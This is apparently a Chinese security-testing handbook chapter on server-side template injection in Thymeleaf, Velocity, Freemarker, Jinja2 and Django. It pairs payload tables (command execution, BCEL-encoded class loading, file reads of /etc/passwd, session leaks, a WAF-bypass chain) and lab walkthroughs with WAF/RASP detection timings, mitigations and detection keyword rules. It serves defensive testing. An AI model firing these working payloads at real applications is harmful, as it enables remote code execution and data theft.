4 方法
4.1Thymeleaf模板注入 T1190.014.001
4.1.1漏洞成因
WEB 没有针对用户输入内容进行过滤,并且错误的使用用户传入的值,导致用户可以操作模板内容或模板名,利用模板特性触发预处理执行spel表达式,执行系统命令或一些危险操作。Thymeleaf下SSTI漏洞可造成的危害如下:
a) 敏感信息泄露
通过Thymeleaf模板的内置对象可以获取修改session、获取模板名称等敏感信息,详细的内置对象在官方手册有详细说明,这里只针对session对象,进行简单演示:
b) 文件读取
利用java的FileReader读取文件:
c) 命令执行
利用预处理执行OGNL/SpEL表达式,执行系统命令。
4.1.2测试用例
测试ID | 类型 | 测试用例 | *备注* |
T1190.014.001.001 | 漏洞检测 | ${132*321}::x. | 适用情况一和情况二。是否输出42372 |
T1190.014.001.002 | 132*321 | 适用情况三。是否输出42372 | |
T1190.014.001.003 | 命令执行 | ${T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')}::x. | 适用情况一和情况二。 |
T1190.014.001.004 | T(java.lang.Runtime).getRuntime().exec('touch /tmp/success') | 适用情况三。 | |
T1190.014.001.005 | ${new java.lang.ProcessBuilder({'bash','-c', 'touch /tmp/success'}).start()}::x. | 适用情况一和情况二。 | |
T1190.014.001.006 | new java.lang.ProcessBuilder({'bash','-c', 'touch /tmp/success'}).start() | 适用情况三。 | |
T1190.014.001.007 | ${T(Class).forName('java.lang.Runtime').getRuntime().exec('touch /tmp/success')}::x. | 适用情况一和情况二。 | |
T1190.014.001.008 | T(Class).forName('java.lang.Runtime').getRuntime().exec('touch /tmp/success') | 适用情况三。 | |
T1190.014.001.009 | ${''.getClass().getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/success')}::x. | 适用情况一和情况二。 | |
T1190.014.001.010 | ''.getClass().getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/success') | 适用情况三。 | |
T1190.014.001.011 | ${new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85S$5bW$SQ$Y$dd$H$90$Z$c7$nA$d4$d2$ecb$96$82fd$d9U$ed$a2v$a1$f0$92$Y$e5$f2$a15$8c$93M$B$e3$g$86$ca$7eIO$bd$f6Z$3dP$abZ$fd$80$feL$ff$c0$da$871$c0$r$abx8$87$b3$bf$cb$de$dfe$7e$ee$7c$fd$B$60$S$8f5t$o$a5$e0$ac$86$AR$g$spN$fe$3b$$8fI$N$XpQ$k$974$5c$c6$V$N$Hp$b5$jS$98V1$a3$e1$g$ae$x$b8$a1$e0$a6$40x$da$$$d9$de5$81$60$o$99$T$I$cd9$h$96$40g$c6$$Y$8b$95b$derW$8d$7c$81HW$c61$8dB$cepm$f9$de$FC$de3$bb$y$Q$c9$98N1e$W7Rs$L$f3S$C$da$a6$e5$3dq$adr$a5$e0$J$q$T$99$e7$c6K$pe$3b$a9ti$ab$e2e$3d$d72$8aSI$l$z$Y$a5$cd$U$n$bb$b4$c9$c0$80$5d$S$e8i$e9Oc$9eT$81$f5Y$B$95$c8F$d6$7eC$F$oM$3a$bb$f4$d4$f1$dd$E$8e$d5$a3g$b7$3d$eb$a6$eb$g$dbK$V$af9O$q$eb$Z$e6$8b$Fc$abV$84$82$B$b6$90In$bd6$ad$z$cfvJe$F$e4$I$aeT$a8e8$b1_fK$e5AV$$9b$d4$c2$a4l$b9$8ei$95$v$3e$ded$5e$f6A$da$d5i$b3$b0$3b$D$z$ebT$5c$d3$bam$cb$e6$aal$e6$Z$Z$a0$p$8a$98$c0$91$7f$W$a6$60N$c7$3cn$e9$b8$8d$3b$3a$ee$o$ad$e0$9e$8e$fb$c8$e8X$c0$a2$82$r$j$cbx$a0$e3$m$O$vX$d1$91$c5$w$db91$a1$e0$a1$8e$i$k$Jt4MQ$m$da$d0$ba$94$7fn$99$ie$bc$3e$98$a5z$b7$9a$d1$c6$b8$b8$grF$Cm$89$f5$d9$qg$d4$f6$ca$b5$3d$W$a5$f0$9dN$cbMS$3d$c7o$91$40w$a2eOc$N$8c$c3$f0$ec$a2$e5$afV$fd$d1$b3$tn$Xf$60$c8zm$99$C$p$ff$Z$5ec$E$b1$7d$a0$c0$B2$ed$a9$e8$e0$b6$7d$9b$d9$d4$aa$ecv$d9$b3$e8$it$w$5e$f3$w$$93$bd$R$Qo$B$d7$W$85$af$82$fc$EZ$v$cfa$90_q$t$e4$$E$n$97$82g$X$v$de$82w$db$e8g$88$8f$fc$T$40$9cg$b8$G$w$e8$e6$a9$fb$O$e8A$_$efv$b9$F$f4$92$c1o$99$y$c4$3b$ZS$f1$5d$cd$Eg$be$n$b0$f6$Z$c1$c5$d1$b1$wBk3$ef$Q$Z$l$L$OT$d1$f6$fe$f7$af$f1$w$c2$l$e8$i$ac$R$f4$93$C$d4$U$a6$w$95z$a4$a2$7e$s$3dIJI$3a$ea$tF$lQ$vg$I$871$40$n$w$x9$82$a3$U$Q$a5$ed$Y$8e3$df$m$3d$o$I$ec$m$aa$e0$84P0$Ug$g$bf$d0S$d4$3b$8c$91$5d$bdwy$HxG$bf$40$Z$adB$cdPf$fb$Xh$l$eauk5$fb$n$d2$f4$d5d$f4$fa$feHP$K$88$aa$U6$c6$bc$8d$fc$wN$d7$9by$aa$e6$cd$k$7dBG$97$5eED6T4$r$d6$e8$deAd$bcFx$e6$P$f7$d0$d0$bd$90$F$A$A').Run('touch /tmp/success')}::x. | 适用情况一和情况二。 | |
T1190.014.001.012 | new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85S$5bW$SQ$Y$dd$H$90$Z$c7$nA$d4$d2$ecb$96$82fd$d9U$ed$a2v$a1$f0$92$Y$e5$f2$a15$8c$93M$B$e3$g$86$ca$7eIO$bd$f6Z$3dP$abZ$fd$80$feL$ff$c0$da$871$c0$r$abx8$87$b3$bf$cb$de$dfe$7e$ee$7c$fd$B$60$S$8f5t$o$a5$e0$ac$86$AR$g$spN$fe$3b$$8fI$N$XpQ$k$974$5c$c6$V$N$Hp$b5$jS$98V1$a3$e1$g$ae$x$b8$a1$e0$a6$40x$da$$$d9$de5$81$60$o$99$T$I$cd9$h$96$40g$c6$$Y$8b$95b$derW$8d$7c$81HW$c61$8dB$cepm$f9$de$FC$de3$bb$y$Q$c9$98N1e$W7Rs$L$f3S$C$da$a6$e5$3dq$adr$a5$e0$J$q$T$99$e7$c6K$pe$3b$a9ti$ab$e2e$3d$d72$8aSI$l$z$Y$a5$cd$U$n$bb$b4$c9$c0$80$5d$S$e8i$e9Oc$9eT$81$f5Y$B$95$c8F$d6$7eC$F$oM$3a$bb$f4$d4$f1$dd$E$8e$d5$a3g$b7$3d$eb$a6$eb$g$dbK$V$af9O$q$eb$Z$e6$8b$Fc$abV$84$82$B$b6$90In$bd6$ad$z$cfvJe$F$e4$I$aeT$a8e8$b1_fK$e5AV$$9b$d4$c2$a4l$b9$8ei$95$v$3e$ded$5e$f6A$da$d5i$b3$b0$3b$D$z$ebT$5c$d3$bam$cb$e6$aal$e6$Z$Z$a0$p$8a$98$c0$91$7f$W$a6$60N$c7$3cn$e9$b8$8d$3b$3a$ee$o$ad$e0$9e$8e$fb$c8$e8X$c0$a2$82$r$j$cbx$a0$e3$m$O$vX$d1$91$c5$w$db91$a1$e0$a1$8e$i$k$Jt4MQ$m$da$d0$ba$94$7fn$99$ie$bc$3e$98$a5z$b7$9a$d1$c6$b8$b8$grF$Cm$89$f5$d9$qg$d4$f6$ca$b5$3d$W$a5$f0$9dN$cbMS$3d$c7o$91$40w$a2eOc$N$8c$c3$f0$ec$a2$e5$afV$fd$d1$b3$tn$Xf$60$c8zm$99$C$p$ff$Z$5ec$E$b1$7d$a0$c0$B2$ed$a9$e8$e0$b6$7d$9b$d9$d4$aa$ecv$d9$b3$e8$it$w$5e$f3$w$$93$bd$R$Qo$B$d7$W$85$af$82$fc$EZ$v$cfa$90_q$t$e4$$E$n$97$82g$X$v$de$82w$db$e8g$88$8f$fc$T$40$9cg$b8$G$w$e8$e6$a9$fb$O$e8A$_$efv$b9$F$f4$92$c1o$99$y$c4$3b$ZS$f1$5d$cd$Eg$be$n$b0$f6$Z$c1$c5$d1$b1$wBk3$ef$Q$Z$l$L$OT$d1$f6$fe$f7$af$f1$w$c2$l$e8$i$ac$R$f4$93$C$d4$U$a6$w$95z$a4$a2$7e$s$3dIJI$3a$ea$tF$lQ$vg$I$871$40$n$w$x9$82$a3$U$Q$a5$ed$Y$8e3$df$m$3d$o$I$ec$m$aa$e0$84P0$Ug$g$bf$d0S$d4$3b$8c$91$5d$bdwy$HxG$bf$40$Z$adB$cdPf$fb$Xh$l$eauk5$fb$n$d2$f4$d5d$f4$fa$feHP$K$88$aa$U6$c6$bc$8d$fc$wN$d7$9by$aa$e6$cd$k$7dBG$97$5eED6T4$r$d6$e8$deAd$bcFx$e6$P$f7$d0$d0$bd$90$F$A$A').Run('touch /tmp/success') | 适用情况三。 | |
T1190.014.001.013 | 文件读取 | ${new java.util.Scanner(new java.io.FileInputStream("/etc/hostname")).useDelimiter("\A").next()}::x. | 适用情况一和情况二。 |
T1190.014.001.014 | new java.util.Scanner(new java.io.FileInputStream("/etc/hostname")).useDelimiter("\A").next() | 适用情况三。 | |
T1190.014.001.015 | ${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get("/etc/hostname"))}::x. | 适用情况一和情况二,需要JDK版本大于7。 | |
T1190.014.001.016 | T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get("/etc/hostname")) | 适用情况三,需要JDK版本大于7。 | |
T1190.014.001.017 | 敏感信息泄漏 | ${#session.id}::x. | 获取session的id。 |
T1190.014.001.018 | #session.id | 获取session的id。 | |
T1190.014.001.019 | ${#session.getAttribute('key')}::x. | 获取session内某个值。 | |
T1190.014.001.020 | #session.getAttribute('key') | 获取session内某个值。 | |
T1190.014.001.021 | ${#execInfo.templateName}::x. | 获取模板名称。 | |
T1190.014.001.022 | #execInfo.templateName | 获取模板名称。 |
4.1.3攻击实例及TTD
4.1.3.1测试过程
- 情况一:
访问靶场环境 http://124.70.85.41:8090/path?lang=1,之后修改参数内容,输入测试语句(注意:所有测试用例内的语句在输入时候都要进行url编码之后,再使用),观察响应页面:
2*6成功被执行。输入命令执行语句:
成功执行命令被回显部分内容,确认存在漏洞。
- 情况二:
在控制Controller的这种情况下,是没有回显的,可以通过dnslog平台来查看命令是否执行成功。访问靶场环境http://124.70.85.41:8090/doc/,直接在 doc/后面输入测试语句,payload与情况一使用的payload相同:
然后去查看dnslog日志:
成功接收,确认存在漏洞。
- 情况三:
访问靶场环境:http://124.70.85.41:8090/test?id=1,控制内容变为了模板内,预编译内的变量所以直接输入命令执行语句进行测试:
new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()
成功执行命令id,确认漏洞存在。
4.1.3.2TTD
单位:秒,无法检测:∞
Id | RASP | WAF | 备注 |
T1190.014.001.001 | ∞ | ∞ | |
T1190.014.001.002 | ∞ | ∞ | |
T1190.014.001.003 | 1 | 1 | |
T1190.014.001.004 | 1 | 1 | |
T1190.014.001.005 | 1 | 1 | |
T1190.014.001.006 | 1 | 1 | |
T1190.014.001.007 | 1 | 1 | |
T1190.014.001.008 | 1 | 1 | |
T1190.014.001.009 | 1 | 1 | |
T1190.014.001.010 | 1 | 1 | |
T1190.014.001.011 | 1 | ∞ | |
T1190.014.001.012 | 1 | ∞ | |
T1190.014.001.013 | ∞ | 1 | WAF检测的是本地文件包含 |
T1190.014.001.014 | ∞ | 1 | |
T1190.014.001.015 | ∞ | 1 | WAF检测的是本地文件包含 |
T1190.014.001.016 | ∞ | 1 | |
T1190.014.001.017 | ∞ | ∞ | |
T1190.014.001.018 | ∞ | ∞ | |
T1190.014.001.019 | ∞ | ∞ | |
T1190.014.001.020 | ∞ | ∞ | |
T1190.014.001.021 | ∞ | ∞ | |
T1190.014.001.022 | ∞ | ∞ |
4.1.4缓解措施
- 开发者参考3.2.3节漏洞原理中的三种产生漏洞的场景,避免使用相同的代码情况。
- 开发者设置ResponseBody注解,则将不再调用模板进行解析。
@GetMapping("/test")
@ResponseBody
public String test(String test){
return test;
}
- 对于情况一,开发者设置redirect重定向,根据Spring文档,如果返回值是以redirect:开头,则不再调用ThymeleafView解析,调用RedirectView去解析controller的返回值。如下所示:
@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
return "redirect:" + url; //CWE-601, as we can control the hostname in redirect
- 对于情况二,对controller添加HttpServletResponse参考,Spring会认为它已经处理了HTTP Response,因此不会发生视图名称解析,如下所示:
@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document); //FP
}
- 开发者对传入参数进行过滤。
- WEB应用使用低权限运行。
4.1.5检测方法
- WEB应用安装WAF,且添加漏洞规则,如:检测提交内容中是否存在__{}__::、Runtime、Classloader等关键字。
- 主机安装RASP,对处理模板内容进行打点检测,判断当函数内容为外部出入时,是否存在恶意的命令。
- 主机安装HIPS,检测WEB应用是否创建恶意的进程,或者读取敏感的文件。
4.2Velocity模板注入 T1190.014.002
4.2.1漏洞成因
WEB没有针对用户输入内容进行过滤,错误的引用用户值,导致用户可以操作模板渲染前的内容,并利用VTL指令,构造恶意表达式,进行一系列恶意操作。Velocity下SSTI漏洞可造成的危害如下:
a) 敏感信息泄露
可以通过Velocity的内置对象操作session、request等获取敏感信息,部分对象可以修改其内容如session对象,这里只针对session进行演示。
b) 文件读取
通过include指令,读取文件内容,注意Velocity限制了读取目录只能是TEMPLATE_ROOT目录下的内容这点在官方手册有相关描述,而TEMPLATE_ROOT默认情况指向项目根目录。
c) 命令执行
通过SET指令加载外部类,达到执行命令目的,详细细节请参照3.3.3小节。
4.2.2测试用例
测试ID | 类型 | *测试用例* | *备注* |
T1190.014.002.001 | 漏洞检测 | #set($e=12345*54321)$e | 是否输出670592745 |
T1190.014.002.002 | 敏感信息泄露 | $session.getAttribute("user") | 获取session内user的值 |
T1190.014.002.003 | 命令执行 | #set($e='')$e.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('touch /tmp/success') | 无回显 |
T1190.014.002.004 | #set($e='')$e.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/success') | ||
T1190.014.002.005 | #set($e='')$e.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('touch /tmp/success')") | ||
T1190.014.002.006 | #set($x='')#set($str=$x.class.forName('java.lang.String'))#set($chr=$x.class.forName('java.lang.Character'))#set($rt=$x.class.forName('java.lang.Runtime'))#set($ex=$rt.getRuntime().exec('whoami'))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end | ||
T1190.014.002.007 | #set($e='')$e.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85S$5bW$SQ$Y$dd$H$90$Z$c7$nA$d4$d2$ecb$96$82fd$d9U$ed$a2v$a1$f0$92$Y$e5$f2$a15$8c$93M$B$e3$g$86$ca$7eIO$bd$f6Z$3dP$abZ$fd$80$feL$ff$c0$da$871$c0$r$abx8$87$b3$bf$cb$de$dfe$7e$ee$7c$fd$B$60$S$8f5t$o$a5$e0$ac$86$AR$g$spN$fe$3b$$8fI$N$XpQ$k$974$5c$c6$V$N$Hp$b5$jS$98V1$a3$e1$g$ae$x$b8$a1$e0$a6$40x$da$$$d9$de5$81$60$o$99$T$I$cd9$h$96$40g$c6$$Y$8b$95b$derW$8d$7c$81HW$c61$8dB$cepm$f9$de$FC$de3$bb$y$Q$c9$98N1e$W7Rs$L$f3S$C$da$a6$e5$3dq$adr$a5$e0$J$q$T$99$e7$c6K$pe$3b$a9ti$ab$e2e$3d$d72$8aSI$l$z$Y$a5$cd$U$n$bb$b4$c9$c0$80$5d$S$e8i$e9Oc$9eT$81$f5Y$B$95$c8F$d6$7eC$F$oM$3a$bb$f4$d4$f1$dd$E$8e$d5$a3g$b7$3d$eb$a6$eb$g$dbK$V$af9O$q$eb$Z$e6$8b$Fc$abV$84$82$B$b6$90In$bd6$ad$z$cfvJe$F$e4$I$aeT$a8e8$b1_fK$e5AV$$9b$d4$c2$a4l$b9$8ei$95$v$3e$ded$5e$f6A$da$d5i$b3$b0$3b$D$z$ebT$5c$d3$bam$cb$e6$aal$e6$Z$Z$a0$p$8a$98$c0$91$7f$W$a6$60N$c7$3cn$e9$b8$8d$3b$3a$ee$o$ad$e0$9e$8e$fb$c8$e8X$c0$a2$82$r$j$cbx$a0$e3$m$O$vX$d1$91$c5$w$db91$a1$e0$a1$8e$i$k$Jt4MQ$m$da$d0$ba$94$7fn$99$ie$bc$3e$98$a5z$b7$9a$d1$c6$b8$b8$grF$Cm$89$f5$d9$qg$d4$f6$ca$b5$3d$W$a5$f0$9dN$cbMS$3d$c7o$91$40w$a2eOc$N$8c$c3$f0$ec$a2$e5$afV$fd$d1$b3$tn$Xf$60$c8zm$99$C$p$ff$Z$5ec$E$b1$7d$a0$c0$B2$ed$a9$e8$e0$b6$7d$9b$d9$d4$aa$ecv$d9$b3$e8$it$w$5e$f3$w$$93$bd$R$Qo$B$d7$W$85$af$82$fc$EZ$v$cfa$90_q$t$e4$$E$n$97$82g$X$v$de$82w$db$e8g$88$8f$fc$T$40$9cg$b8$G$w$e8$e6$a9$fb$O$e8A$_$efv$b9$F$f4$92$c1o$99$y$c4$3b$ZS$f1$5d$cd$Eg$be$n$b0$f6$Z$c1$c5$d1$b1$wBk3$ef$Q$Z$l$L$OT$d1$f6$fe$f7$af$f1$w$c2$l$e8$i$ac$R$f4$93$C$d4$U$a6$w$95z$a4$a2$7e$s$3dIJI$3a$ea$tF$lQ$vg$I$871$40$n$w$x9$82$a3$U$Q$a5$ed$Y$8e3$df$m$3d$o$I$ec$m$aa$e0$84P0$Ug$g$bf$d0S$d4$3b$8c$91$5d$bdwy$HxG$bf$40$Z$adB$cdPf$fb$Xh$l$eauk5$fb$n$d2$f4$d5d$f4$fa$feHP$K$88$aa$U6$c6$bc$8d$fc$wN$d7$9by$aa$e6$cd$k$7dBG$97$5eED6T4$r$d6$e8$deAd$bcFx$e6$P$f7$d0$d0$bd$90$F$A$A').newInstance().Run('whoami') | 依赖BCEL Classloader。 | |
T1190.014.002.008 | $class.inspect("java.lang.Runtime").type.getRuntime().exec('touch /tmp/success').waitFor() | 利用环境需配置ClassTools,关于ClassTools请参考3.3.2.2小节。无回显。 | |
T1190.014.002.009 | #set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end | 利用环境需配置ClassTools,关于ClassTools请参考3.3.2.2小节。有回显。 | |
T1190.014.002.010 | 文件读取 | #set($e='')$e.class.forName('java.nio.file.Files').readAllLines($e.class.forName('java.nio.file.Paths').get("/etc/hostname")) | JDK7以上 |
T1190.014.002.011 | #include( "filename" ) | 存在限制,不能跨出TEMPLATE_ROOT目录。 |
4.2.3攻击实例及TTD
4.2.3.1测试过程
访问靶机环境http://124.70.85.41:8080/test/index/?template=1
之后使用检测语句来检测是否存可以被执行:
返回12,2*6成功执行。之后,再替换参数内容为测试用例的命令执行语句,这里使用有内容回显的poc:
成功执行命令,确认存在漏洞。
4.2.3.2TTD
单位:秒,无法检测:∞
用例ID | RASP | WAF | 备注 |
T1190.014.002.001 | ∞ | ∞ | |
T1190.014.002.002 | ∞ | ∞ | |
T1190.014.002.003 | 1 | 1 | |
T1190.014.002.004 | 1 | 1 | |
T1190.014.002.005 | 1 | 1 | |
T1190.014.002.006 | 1 | 1 | |
T1190.014.002.007 | 1 | 1 | |
T1190.014.002.008 | 1 | 1 | |
T1190.014.002.009 | 1 | 1 | |
T1190.014.002.010 | ∞ | 1 | 检测到的是本地文件包含 |
T1190.014.002.011 | ∞ | 1 |
4.2.4缓解措施
- 使用最新版本的Velocity模板,避免存在历史漏洞。
- 开发者禁止将不可信输入直接传入模板中进行解析。
- 开发者对输入参数进行过滤,避免存在特殊字符。
- WEB服务使用低权限运行。
4.2.5检测方法
- WEB应用安装WAF,且添加漏洞规则,如:检测提交内容中是否存在#set、Runtime、Classloader等关键字。
- 主机安装RASP,对处理模板内容进行打点检测,判断当函数内容为外部出入时,是否存在恶意的命令。
- 主机安装HIPS,检测WEB应用是否创建恶意的进程,或者读取敏感的文件。
4.3Freemarker模板注入 T1190.014.003
4.3.1漏洞成因
WEB没有针对用户输入内容进行过滤,错误的引用用户值,导致用户可以操作模板渲染前的内容,并利用模板指令,构造恶意表达式,进行一系列恶意操作。Freemarker下SSTI漏洞可造成的危害如下:
a) 敏感信息泄露
通过操作session内置对象,可以获取到保存在session内的内容:
b) 文件读取
读取passwd文件内容。
c) 命令执行
通过assign指令,加载freemarker的内置类,之后通过内建函数new实例化从而达到执行命令的目的,详细细节请参照3.4.3小节。
4.3.2测试用例
测试ID | 类型 | 测试用例 | 备注 |
T1190.014.003.001 | 漏洞检测 | <#assign value="aaaaaaaaaa">${value} | 输出aaaaaaaaaa |
T1190.014.003.002 | 漏洞检测 | ${123*321} | 输出39,483 |
T1190.014.003.003 | 敏感信息泄露 | ${session.getAttribute("user")} | 获取session内user的值,适用不存在安全机制环境 |
T1190.014.003.004 | 文件读取 | <#assign uri=test?api.class.getResource("/").toURI()><#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()><#assign is=input?api.getInputStream()>FILE:[<#list 0..999999999 as _><#assign byte=is.read()><#if byte == -1><#break></#if>${byte}, </#list>]; | 需要环境配置api_builtin_enabled为true,适用存在安全机制环境 |
T1190.014.003.005 | 命令执行 | <#assign value="freemarker.template.utility.Execute"?new()>${value('touch /tmp/success')} | 适用不存在安全机制环境 |
T1190.014.003.006 | 命令执行 | ${"freemarker.template.utility.Execute"?new()("touch /tmp/success")} | 适用不存在安全机制环境 |
T1190.014.003.007 | 命令执行 | <#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder", "bash", "-c", 'touch /tmp/success').start()} | 无回显,适用不存在安全机制环境 |
T1190.014.003.008 | 命令执行 | <#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system('touch /tmp/success')/@value | 无回显,适用不存在安全机制环境,且依赖Jython环境 |
T1190.014.003.009 | 命令执行 | <#assign classloader=test.class.protectionDomain.classLoader><#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")><#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)><#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>${dwf.newInstance(ec,null)("whoami")} | 防御机制绕过,其中object就是当前模板中允许索引的类,详细细节请参照3.4.4小节。适用存在安全机制环境 |
4.3.3攻击实例及TTD
4.3.3.1测试过程
访问靶机环境:http://124.70.85.41:8911/,
根据页面提示,去访问/message/freemarker。
访问http://124.70.85.41:8911/message/freemarker,传入 username 参数,并输入测试用例内的检测语句查看返回结果:
语句成功被执行,然后输入命令执行语句,查看页面返回结果:
系统命令成功执行,并回显,确认存在漏洞。
4.3.3.2TTD
单位:秒,无法检测:∞
用例ID | RASP | WAF | 备注 |
T1190.014.003.001 | ∞ | ∞ | |
T1190.014.003.002 | ∞ | ∞ | |
T1190.014.003.003 | ∞ | ∞ | |
T1190.014.003.004 | ∞ | 1 | 检测的是本地文件包含攻击。 |
T1190.014.003.005 | 1 | 1 | |
T1190.014.003.006 | 1 | 1 | |
T1190.014.003.007 | 1 | 1 | |
T1190.014.003.008 | 1 | Payload依赖Jython环境,靶场不支持。 | |
T1190.014.003.009 | 1 | 1 |
4.3.4缓解措施
- 开发者使用最新版本Freemarker,当前最新版本为2.3.31。
- 开发者设置TemplateClassResolver为ALLOWS_NOTHING_RESOLVER,禁止解析任意类,参考3.4.4节。
- 开发者配置api_builtin_enabled为false值。
Configuration config = new Configuration();
config.setAPIBuiltinEnabled(false);
- 开发者禁止将不可信输入传入模板中进行解析。
- WEB应用使用低权限运行。
4.3.5检测方法
- WEB应用安装WAF,且添加漏洞规则,如:检测提交内容中是否存在${}、Runtime、Classloader、<#assign等关键字。
- 主机安装RASP,对处理模板内容进行打点检测,判断当函数内容为外部出入时,是否存在恶意的命令。
- 主机安装HIPS,检测WEB应用是否创建恶意的进程,或者读取敏感的文件。
4.4Jinja2模板注入 T1190.014.004
4.4.1漏洞成因
WEB 没有针对用户输入内容进行过滤,错误的引用用户值,导致用户可以操作模板渲染前的内容,jinja2下SSTI漏洞可造成的危害如下:
a) 敏感信息泄露
通过调用session对象,可以获取session的值。
b) 文件读取
通过open函数读取文件,利用链请参照3.7.3小节。
c) 命令执行
通过eval、os等特殊库或者函数调用系统命令,利用链请参照3.7.3小节。
4.4.2测试用例
测试ID | 类型 | 测试用例 | 备注 |
T1190.014.004.001 | 漏洞检测 | {{123*321}} | 是否输出39483 |
T1190.014.004.002 | 信息泄露 | {{config.items()}} | |
T1190.014.004.003 | 信息泄露 | {{self.dict}} | |
T1190.014.004.004 | 文件读取 | {{''.class.mro[2].subclasses()40.read()}} | 其中40为open函数的索引,获取方式参考3.7.3节。 |
T1190.014.004.005 | {{aaa.init.globals.builtins.open("/etc/hosts").read()}} | 适用任意环境 | |
T1190.014.004.006 | {{[].class.bases[0].subclasses()[75].init.globals"open".read()}} | 其中75为IncrementalEncoder模块的索引,获取方式参考3.7.3节。 | |
T1190.014.004.007 | 文件写入 | {{ ''.class.mro[2].subclasses()40.write('Hello here !') }} | 其中40为open函数的索引,获取方式参考3.7.3节。 |
T1190.014.004.008 | 命令执行 | {{[].class.base.subclasses()[60].init.globals'builtins'("import('os').popen('whoami').read()")}} | 其中60为catch_warnings模块的索引,获取方式参考3.7.3节。 |
T1190.014.004.009 | {{aaa.init.globals.builtins.import("os").popen("whoami").read()}} | ||
T1190.014.004.010 | {{config.class.init.globals['os'].popen('ls').read()}} | ||
T1190.014.004.011 | {% for x in ().class.base.subclasses() %} {% if "warning" in x.name %} {{ x()._module.builtins'import'.popen("id").read()}} {%endif%}{% endfor %} | ||
T1190.014.004.012 | {{ ''.class.mro[2].subclasses()40.write('from os import popen\n\nRUNCMD = popen\n') }} {{ config.from_pyfile('/tmp/evilconfig.cfg') }} {{ config'RUNCMD'.read() }} | 其中40为open函数的索引,获取方式参考3.7.3节。 | |
T1190.014.004.013 | {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}} | 绕WAF,参考链接。 |
4.4.3攻击实例及TTD
4.4.3.1测试过程
访问靶机环境,http://124.70.85.41:8999/test?name=admin
使用测试实例的检测语句,然后观察响应页面:
成功解析了7*7,使用测试用例的命令执行语句,执行系统命令:
成功执行命令并回显,确认存在漏洞。
4.4.3.2TTD
单位:秒,无法检测:∞
用例ID | RASP | WAF | 备注 |
T1190.014.004.001 | ∞ | RASP环境不支持,未测试,下同。 | |
T1190.014.004.002 | ∞ | ||
T1190.014.004.003 | ∞ | ||
T1190.014.004.004 | 1 | WAF检测的是本地文件包含攻击 | |
T1190.014.004.005 | 1 | WAF检测的是本地文件包含攻击 | |
T1190.014.004.006 | 1 | WAF检测的是本地文件包含攻击 | |
T1190.014.004.007 | ∞ | ||
T1190.014.004.008 | 1 | ||
T1190.014.004.009 | 1 | ||
T1190.014.004.010 | 1 | ||
T1190.014.004.011 | 1 | ||
T1190.014.004.012 | ∞ | WAF检测会根据执行命令,如curl命令会被检测。 | |
T1190.014.004.013 | ∞ | WAF检测会根据执行命令,如curl命令会被检测。 |
4.4.4缓解措施
- 更新jinja2版本至最新版本。
- 开发者禁止将不可信来源的输入直接拼接至模板中。
- Jinja2官方有沙盒支持,对于不可信来源的模板解析可以使用沙盒,参考其官方文档。
- WEB应用禁止以高权限用户运行。
- 开发者对请求参数进行过滤检测,判断是否存在敏感字符,如{、{%、[等。
4.4.5检测方法
- 对业务代码进行白盒审计,检测是否使用render_template_string函数,并判断该函数内容是否是可控。
- 安装WAF并完善WAF规则,对请求的内容进行检测。
- 主机安装HIPS,检测应用进程是否运行异常进程,或者读取敏感文件。
4.5Django模板注入 T1190.014.005
4.5.1漏洞成因
WEB没有针对用户输入内容进行过滤,错误的引用用户值,导致用户可以操控模板渲染前的内容,并且settings配置错误,导致用户可以通过include等标签读取文件内容。Django下SSTI漏洞可造成的危害如下:
a) 敏感信息泄露
通过操作request,可以读取到包括session、cookie等敏感信息。
b) 文件读取
当settings文件配置不当的时候可以通过include标签和extends标签,读取文件内容。
4.5.2测试用例
测试ID | 类型 | 测试用例 | 备注 |
T1190.014.005.001 | 信息泄漏 | {{request.session.user}} | 获取session值 |
T1190.014.005.002 | 文件读取 | {%include "file"%} | 需要settings的错误设置 |
T1190.014.005.003 | {%extends "file"%} | 需要settings的错误设置 |
4.5.3攻击实例及TTD
4.5.3.1测试过程
访问靶场环境,http://124.70.85.41:8000/test/?q=test
使用测试用例内的文件读取,尝试读取manage.py文件。
成功读取到了manage文件内容。
4.5.3.2TTD
单位:秒,无法检测:∞
用例ID | RASP | WAF | 备注 |
T1190.014.005.001 | ∞ | RASP环境不支持,未测试,下同。 | |
T1190.014.005.002 | ∞ | ||
T1190.014.005.003 | ∞ |
4.5.4缓解措施
- 开发者禁止将不可信输入直接拼接到模板中进行解析。
